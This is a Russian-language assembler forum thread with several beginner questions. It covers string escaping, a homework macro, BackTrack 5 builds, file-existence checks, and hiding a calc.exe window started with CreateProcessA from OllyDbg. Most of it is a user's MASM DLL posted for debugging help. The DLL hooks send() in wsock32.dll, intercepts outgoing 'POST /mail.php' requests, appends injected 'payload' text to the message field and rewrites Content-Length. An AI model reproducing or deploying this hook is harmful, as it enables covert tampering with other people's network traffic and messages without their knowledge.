Ребят,подскажите.Как в переменной обьявить обратный слэш.Ну то есть в строке.Вот пример: Code: str db '/',0
//////////////////////////////2//////////////////////////// написать макрокоманду, что реализует преобразование отрицательное целого типа dword в прямой код. Входные данные находятся в регистрах DX: AX ////////////// Кто поможет это сделать, я знаю вроде тут не сложно просто реально нет времени учить асм, а екзамен скора! Так бы на примере разобрался побыстрей!! Сяб наперёд !!
В чём разница между сборками БТ5 на платформах arm, 32bit, 64bit? И чем отличаются KDE от Gnome. Хотелось бы услышать плюсы и минусы тех или иных вариаций BackTrack5
Под разные архитектуры процессора. Ссылка. Нету никаких вариаций. Вопрос к вам: как ваши вопросы относятся к assembler?
Ребят,как можно сделать,что-бы функция проверяла наличие файла?То есть если нет файла переходим на метку....
Нет не хэндл.Просто нужно было проверить существует ли файл.Уже сам разобрался....помогла волшебная winapi функция GetFileAttributes.
правильно. ассемблируешь файл *.asm получаешь объектный модуль *.obj дальше линкуешь как я выше написал.
Code: .486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include \masm32\macros\windows.asm include \masm32\macros\inject.asm uselib kernel32, user32, masm32, Shlwapi urlencodeW proto :DWORD, :DWORD, :DWORD .data message_add db 13,10,"payload",0 textlen dd 0 mess_len dd 0 misc db 100 dup (0) header db 100 dup (0) header1 db 100 dup (0) message_w dword ? message_add_urlenc dword ? message dword ? request dword ? request_final dword ? temp dword ? iAlloc MACRO size:REQ invoke VirtualAlloc,0,&size,MEM_COMMIT,PAGE_READWRITE EXITM <eax> ENDM iFree MACRO memaddr:REQ invoke VirtualFree,&memaddr,0,MEM_RELEASE ENDM .code MyFunc: push ebp mov ebp,esp mov ebx,FUNC(StrStrA,[ebp+12],chr$("POST /mail.php HTTP")) mov eax,FUNC(StrStrA,[ebp+12],chr$("act=sent")) .if ebx != 0 && eax != 0 invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,0,0 mov ebx,eax mov message_w,iAlloc(ebx) invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,message_w,ebx mov eax,6 mul ebx mov message_add_urlenc,iAlloc(ebx) invoke urlencodeW,message_w,message_add_urlenc,ebx iFree message_w add ebx,[ebp+16] mov textlen,ebx mov request,iAlloc(textlen) invoke StrStr,[ebp+12],chr$("&message=") mov esi,eax inc esi push esi xor ecx,ecx .while al != '&' inc ecx lodsb .endw pop esi dec ecx mov mess_len,ecx mov eax,mess_len add eax,textlen mov temp,iAlloc(eax) mov message,iAlloc(mess_len) fn szMid,esi,message,0,mess_len invoke lstrcpy,temp,message invoke lstrcat,temp,message_add_urlenc iFree message_add_urlenc fn szRep,[ebp+12],request,message,temp iFree temp iFree message invoke StrStr,request,chr$(13,10,13,10) add eax,4 invoke lstrlen,eax invoke wsprintf,offset header,chr$("Content-Length: %u"),eax invoke StrStr,[ebp+12],chr$("Content-Length: ") mov esi,eax add esi,16 push esi xor ecx,ecx .while al != 13 ; \r inc ecx lodsb .endw pop esi fn szMid,esi,offset misc,0,ecx invoke wsprintf,offset header1,chr$("Content-Length: %s"),offset misc invoke lstrlen,request add eax,5 mov request_final,iAlloc(eax) fn szRep,request,request_final,offset header1,offset header iFree request invoke lstrlen,request_final HOOK_ORIGINAL_CALL_PARAM send,1,[ebp+8],request_final,eax,[ebp+20] iFree request_final mov eax,[ebp+16] .else HOOK_ORIGINAL_CALL send, 4 .endif pop ebp retn 4*4 LibMain proc instance:DWORD,reason:DWORD,reserved:DWORD .if reason == DLL_PROCESS_ATTACH SET_HOOK wsock32.dll, send, MyFunc mov eax,1 .endif ret LibMain ENDP urlencode PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD push esi push edi push ebx mov esi,result_buffer mov edi,text_to_convert loop_enc: mov eax,esi sub eax,result_buffer mov ebx,result_buffer_len sub ebx,4 .if eax>=ebx jmp loop_enc_end .endif mov al,byte ptr [edi] .if al<80h .if al==' ' mov byte ptr [esi],'+' inc esi .elseif ((al>0 && al<=47) || (al>=58 && al<=64) || (al>=91 && al<=96) || al>=123) && al!='.' && al!='_' && al!='-' movzx eax,al invoke wsprintf,esi,chr$("%%%02X"),eax add esi,3 .else mov byte ptr [esi],al inc esi .endif .else movzx eax,al invoke wsprintf,esi,chr$("%%%02X"),eax add esi,3 .endif inc edi mov bl,byte ptr [edi] test bl,bl jne loop_enc loop_enc_end: mov byte ptr [esi],0 pop ebx pop edi pop esi ret urlencode ENDP urlencodeW PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD LOCAL convert_buffer :DWORD LOCAL convert_buffer_len :DWORD push esi push edi push ebx invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,0,0,0,0 .if eax>0 inc eax mov convert_buffer_len,eax invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE .if eax==0 mov eax,1 jmp conv_error .endif .else mov eax,2 jmp conv_error .endif mov convert_buffer,eax invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,convert_buffer,convert_buffer_len,0,0 .if eax==0 invoke VirtualFree,convert_buffer,0,MEM_RELEASE mov eax,3 jmp conv_error .endif invoke urlencode,convert_buffer,result_buffer,result_buffer_len invoke VirtualFree,convert_buffer,0,MEM_RELEASE xor eax,eax pop ebx pop edi pop esi ret conv_error: pop ebx pop edi pop esi ret urlencodeW ENDP end LibMain вот код mem.asm вот код mem.def Code: LIBRARY mem нечего не получается
Подскажите, как мне скрыть окно, например, калькулятора, который я запускаю при помощи функции CreateProcessA. Я написал нижеприведённый код, но не знаю, как к нему приделать ShowWindow. Мне нужно ввести всё это прямо в отладчике OllyDbg. PUSH 403010 PUSH 403030 PUSH 0 PUSH 0 PUSH 20 PUSH 0 PUSH 0 PUSH 0 PUSH 0 PUSH 403000 - c:\windows\system32\calc.exe CALL CreateProcessA
http://msdn.microsoft.com/en-us/library/ms686331%28v=vs.85%29.aspx Думаю, что параметр wShowWindow должен помочь. Только придется ручками составить структуру, чтобы ее передать в CreateProcessA.